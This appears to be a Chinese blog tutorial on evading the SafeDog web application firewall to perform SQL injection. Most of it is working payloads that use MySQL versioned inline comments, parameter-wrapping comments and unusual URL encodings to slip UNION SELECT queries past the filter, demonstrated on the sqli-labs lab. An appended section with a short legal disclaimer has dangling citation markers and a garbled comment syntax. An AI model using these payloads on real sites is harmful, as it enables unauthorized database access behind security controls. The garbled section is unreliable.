SQL注入-绕过安全狗

目录

一、什么是安全狗

二、演示如何绕过安全狗的防护

1.方式一:内联注释正常绕过

 2.方式二:内联反向思维绕过。

3.方式三:GET传参绕过

4.方式四:URL编码绕过


一、什么是安全狗

        网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。

二、演示如何绕过安全狗的防护

1.方式一:内联注释正常绕过

1.1 当没有绕过时会显示以下页面

1.2 使用内联注释法

/*!5位数字,但是不能大于版本号 关键字 */ 5位数字中最好包含44

payload:id=1'/*!44444order*/ /*!44444by*/4--+

id=1'/*!44444order*/ /*!44444by*/3--+ 

1.3 使用绕狗方式查询数据

payload:?id=-1' /*!44444 union*//*!44444 select*/1,2,3--+;

判断成功绕过

payload:?id=-1' /*!44444 union*//*!44444 select*/1,database(),3--+  ;

当我们输入database(),发现也会被拦截

此时我们需要将database和()也进行处理

payload:?id=-1' /*!44444 union*//*!44444 select*/1,/*!44444database*//*!44444()*/,3--+

 2.方式二:内联反向思维绕过。

基本格式:/*!5位数6位字符*/ 注释内容

5位数大于版本号,6位字符随便输,注释内容在外边

2.1以sqlilbas-less-1测试,获取数据库

payload:id=-1' /*!84544sansan*/union/*!84544sansan*/select 1,/*!84544sansas*/database/*!84544sansan*/(),3--+

3.方式三:GET传参绕过

基本格式:参数名=/*&id=1&b=*/

3.1 判断列数

payload:?a=/*&id=1' order by 3--+&b=*/ 

a参数和b参数可以是任意字符 

3.2 获取数据库

payload:?s=/*&id=-1' union select 1,database(),2--+&b=*/

4.方式四:URL编码绕过

常见的url编码:

'=%27;"=%22;空格=%20;回车=%0d;换行=%0a;NULL=%00;水平制表=%09;垂直制表=%0b

更多编码查询:http://yige.org/tags/ref_urlencode.php

但是注意,以前可以利用常见的URL编码绕过,但是现在不行,需要使用一些奇怪的URL编码进行绕过;例:%!字母 ,然后用/*URL编码*/做注释 如果一个URL编码不行,可以采用输入多个URL编码

基本格式:关键字/*%!a*/关键字

4.1 判断列数

payload:?id=1' order /*%!a*/ by 4 --+

4.2 获取数据库库名

payload:?id=-1' union  /*%!a*/ select 1,database /*%!a*/ (),2 --+

 

 

 

 

 

 

 

### 绕过安全狗WAF的SQL注入防御机制 #### 安全声明 绕过Web应用防火墙(WAF)的行为仅限于合法授权的安全测试活动,严禁用于任何非法用途。维护互联网环境的安全稳定是每个人的责任。 #### SQL注入绕WAF原理概述 在现代网络安全架构下,尽管WAF能够有效拦截大部分常规SQL注入尝试,但某些特殊编码技术仍可能被利用来规避检测规则[^2]。例如,在构建特定模式下的查询字符串时,通过巧妙运用注释符号与空白字符替代方案相结合的方式,可以在不触发警报的前提下执行恶意指令[^3]。 #### 实际案例分析 具体到安全狗产品版本v4.0所采用的一套防护策略上来看,有一种常见手法是在构造payload过程中引入`/!* !* /`结构作为间隔符代替标准空格,从而改变原始请求格式使其避开内置签名库匹配过程。下面给出一个基于此思路形成的样例URL: ```plaintext http://example.com/vuln_page.php?id=1 UNION /*! SELECT */ 1,2,3 -- ``` 这里的关键在于使用了MySQL特有的语法特性`/*! ... */`,它允许开发者嵌入针对不同数据库引擎优化过的代码片段;当目标服务器运行的是MySQL时,这部分内容会被解析并生效,而在其他情况下则被视为普通注释忽略掉[^5]。 #### 技术细节说明 为了进一步提高成功率,还可以考虑加入更多混淆手段,比如: - 利用大小写混合书写关键词; - 插入多余的括号或运算符扰乱视觉识别逻辑; - 对敏感函数名实施同义转换处理等措施。 需要注意的是,上述方法均需谨慎评估其适用性和潜在风险后再做决定,并始终遵循法律法规框架内行事。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一句话木马

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值